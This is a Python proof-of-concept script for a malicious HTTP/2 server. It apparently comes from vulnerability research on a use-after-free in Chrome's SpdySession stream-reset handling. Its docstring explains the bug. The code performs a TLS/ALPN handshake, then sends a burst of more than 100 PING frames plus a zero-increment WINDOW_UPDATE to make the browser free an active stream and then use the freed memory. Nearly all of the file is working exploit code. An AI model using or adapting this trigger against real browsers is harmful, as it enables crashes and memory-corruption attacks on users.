#!/usr/bin/env python3
"""
Malicious HTTP/2 server that triggers iterator UAF in SpdySession::ResetStreamIterator.

The bug:
  ResetStreamIterator(it):
    EnqueueResetStreamFrame(...)        <-- can synchronously call DoDrainSession,
                                             which clears active_streams_, freeing
                                             the std::map node that `it` points to.
    CloseActiveStreamIterator(it, ...)  <-- UAF: reads it->second from freed node,
                                             erases dangling iterator, deletes garbage.

Trigger:
  1. Chrome opens an HTTP/2 stream (any GET request).
  2. We send (CAP+1) PING frames followed by WINDOW_UPDATE(stream=1, increment=0)
     in a single TCP write. Chrome's DoReadComplete processes all frames
     synchronously without yielding to the write loop (which is PostTask'd).
  3. Each PING enqueues a PING-ACK -> queue grows to CAP+1.
  4. WINDOW_UPDATE(inc=0) on the active stream calls ResetStreamIterator.
  5. ResetStreamIterator -> EnqueueResetStreamFrame -> EnqueueSessionWrite:
       num_queued_capped_frames (CAP+1) > CAP  ->  DoDrainSession
       -> StartGoingAway(0, err) -> erases ALL entries from active_streams_.
  6. Control returns to ResetStreamIterator which calls
     CloseActiveStreamIterator(it) on the freed node.

This server uses a self-signed certificate and ALPN to negotiate h2.
Run Chrome with --ignore-certificate-errors.
"""

import socket
import ssl
import struct
import sys
import os
import time
import tempfile
import subprocess

# Must equal kSpdySessionMaxQueuedCappedFrames in the patched build.
CAP = 100

PORT = 8443
HOST = '127.0.0.1'

# ---------------------------------------------------------------------------
# HTTP/2 frame encoding
# ---------------------------------------------------------------------------

H2_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

FT_DATA          = 0x0
FT_HEADERS       = 0x1
FT_PRIORITY      = 0x2
FT_RST_STREAM    = 0x3
FT_SETTINGS      = 0x4
FT_PUSH_PROMISE  = 0x5
FT_PING          = 0x6
FT_GOAWAY        = 0x7
FT_WINDOW_UPDATE = 0x8
FT_CONTINUATION  = 0x9

def frame(ftype, flags, stream_id, payload):
    """Encode an HTTP/2 frame: 24-bit length, 8-bit type, 8-bit flags,
    1-bit reserved + 31-bit stream id, then payload."""
    length = len(payload)
    hdr = struct.pack(">I", length)[1:]  # 24-bit big-endian length
    hdr += struct.pack(">BBI", ftype, flags, stream_id & 0x7FFFFFFF)
    return hdr + payload

def settings_frame(ack=False, settings=()):
    payload = b''.join(struct.pack(">HI", sid, val) for sid, val in settings)
    flags = 0x1 if ack else 0x0
    return frame(FT_SETTINGS, flags, 0, payload)

def ping_frame(data=b'\x00' * 8, ack=False):
    flags = 0x1 if ack else 0x0
    return frame(FT_PING, flags, 0, data)

def window_update_frame(stream_id, increment):
    payload = struct.pack(">I", increment & 0x7FFFFFFF)
    return frame(FT_WINDOW_UPDATE, 0, stream_id, payload)

# ---------------------------------------------------------------------------
# Minimal frame reader (just enough to drive the handshake)
# ---------------------------------------------------------------------------

def read_exact(sock, n):
    buf = b''
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            raise ConnectionError(f"EOF after {len(buf)}/{n} bytes")
        buf += chunk
    return buf

def read_frame(sock):
    hdr = read_exact(sock, 9)
    length = (hdr[0] << 16) | (hdr[1] << 8) | hdr[2]
    ftype = hdr[3]
    flags = hdr[4]
    stream_id = struct.unpack(">I", hdr[5:9])[0] & 0x7FFFFFFF
    payload = read_exact(sock, length) if length > 0 else b''
    return ftype, flags, stream_id, payload

FT_NAMES = {
    0x0: "DATA", 0x1: "HEADERS", 0x2: "PRIORITY", 0x3: "RST_STREAM",
    0x4: "SETTINGS", 0x5: "PUSH_PROMISE", 0x6: "PING", 0x7: "GOAWAY",
    0x8: "WINDOW_UPDATE", 0x9: "CONTINUATION",
}

def fname(ft):
    return FT_NAMES.get(ft, f"UNKNOWN(0x{ft:02x})")

# ---------------------------------------------------------------------------
# Self-signed certificate
# ---------------------------------------------------------------------------

def make_cert():
    """Generate a throwaway self-signed cert with openssl."""
    d = tempfile.mkdtemp(prefix="h2poc-cert-")
    key = os.path.join(d, "key.pem")
    crt = os.path.join(d, "cert.pem")
    subprocess.run(
        ["openssl", "req", "-x509", "-newkey", "rsa:2048",
         "-keyout", key, "-out", crt, "-days", "1", "-nodes",
         "-subj", "/CN=localhost"],
        check=True, capture_output=True)
    return crt, key

# ---------------------------------------------------------------------------
# Main attack
# ---------------------------------------------------------------------------

def handle(conn):
    print("[*] TLS handshake complete, ALPN =", conn.selected_alpn_protocol())
    if conn.selected_alpn_protocol() != 'h2':
        print("[!] Client did not negotiate h2, aborting")
        return

    # --- 1. Read client connection preface --------------------------------
    pre = read_exact(conn, len(H2_PREFACE))
    assert pre == H2_PREFACE, f"bad preface: {pre!r}"
    print("[*] Got HTTP/2 connection preface")

    # --- 2. Send our SETTINGS immediately ---------------------------------
    # An empty SETTINGS frame is fine -- Chrome accepts defaults.
    conn.sendall(settings_frame(ack=False))
    print("[*] Sent server SETTINGS")

    # --- 3. Read frames until we have:
    #        - client SETTINGS  (so we can ACK it)
    #        - client HEADERS   (proves stream is in active_streams_)
    #        - client SETTINGS-ACK (proves Chrome's write loop has run
    #                               and dequeued -- queue is now empty)
    got_client_settings = False
    got_headers = False
    got_settings_ack = False
    headers_stream_id = None

    while not (got_client_settings and got_headers and got_settings_ack):
        ft, fl, sid, pl = read_frame(conn)
        print(f"[<] {fname(ft):14s} flags=0x{fl:02x} stream={sid} len={len(pl)}")

        if ft == FT_SETTINGS:
            if fl & 0x1:
                got_settings_ack = True
            else:
                got_client_settings = True
                # ACK their settings.
                conn.sendall(settings_frame(ack=True))
                print("[>] SETTINGS ACK")
        elif ft == FT_HEADERS:
            got_headers = True
            headers_stream_id = sid
        # Ignore WINDOW_UPDATE, PRIORITY, etc.

    print(f"[*] Handshake complete. Active stream id = {headers_stream_id}")

    # --- 4. Give Chrome a moment to fully drain its write queue. ----------
    # We received the SETTINGS ACK so we know the write loop has run at
    # least once, but be generous -- we want num_queued_capped_frames == 0
    # when our PINGs arrive.
    time.sleep(0.3)

    # Drain anything else Chrome may have sent (PRIORITY frames, etc.).
    conn.setblocking(False)
    try:
        while True:
            ft, fl, sid, pl = read_frame(conn)
            print(f"[<] (drain) {fname(ft):14s} flags=0x{fl:02x} stream={sid} len={len(pl)}")
    except (BlockingIOError, ssl.SSLWantReadError):
        pass
    conn.setblocking(True)

    # --- 5. Build the trigger payload -------------------------------------
    # Exactly CAP+1 PING frames so the write queue holds CAP+1 capped
    # frames. The (CAP+1)th PING enqueues with check `CAP > CAP` = false.
    # The following RST_STREAM (from ResetStreamIterator) sees
    # `(CAP+1) > CAP` = true -> DoDrainSession -> StartGoingAway -> UAF.
    n_pings = CAP + 1
    payload  = b''.join(ping_frame(struct.pack(">Q", i)) for i in range(n_pings))
    payload += window_update_frame(headers_stream_id, 0)  # increment = 0

    print(f"[*] Trigger payload: {n_pings} PINGs + WINDOW_UPDATE(stream={headers_stream_id}, inc=0)")
    print(f"[*] Payload size: {len(payload)} bytes (must fit in one 8KB read)")
    assert len(payload) < 8192, "payload too large for kReadBufferSize"

    # --- 6. Send it as ONE write so it lands in one TLS record / one read -
    conn.sendall(payload)
    print("[*] >>> TRIGGER SENT <<<")

    # --- 7. Hold the connection open. Chrome should crash (ASAN) ----------
    # before sending us anything sensible. Just consume whatever arrives.
    conn.settimeout(5.0)
    try:
        while True:
            data = conn.recv(4096)
            if not data:
                print("[*] Connection closed by peer")
                break
            print(f"[<] {len(data)} post-trigger bytes (ignored)")
    except socket.timeout:
        print("[*] Read timeout after trigger -- check Chrome's stderr for ASAN report")
    except Exception as e:
        print(f"[*] Connection error after trigger: {e!r}")


def main():
    crt, key = make_cert()
    print(f"[*] Generated self-signed cert: {crt}")

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(crt, key)
    ctx.set_alpn_protocols(['h2'])

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(5)
    print(f"[*] Listening on https://{HOST}:{PORT}/")
    print(f"[*] CAP = {CAP}  (kSpdySessionMaxQueuedCappedFrames in patched build)")

    while True:
        raw, addr = srv.accept()
        print(f"\n[*] === Connection from {addr} ===")
        try:
            tls = ctx.wrap_socket(raw, server_side=True)
        except ssl.SSLError as e:
            print(f"[!] TLS handshake failed: {e}")
            raw.close()
            continue
        try:
            handle(tls)
        except Exception as e:
            import traceback
            traceback.print_exc()
        finally:
            try:
                tls.close()
            except Exception:
                pass


if __name__ == '__main__':
    main()
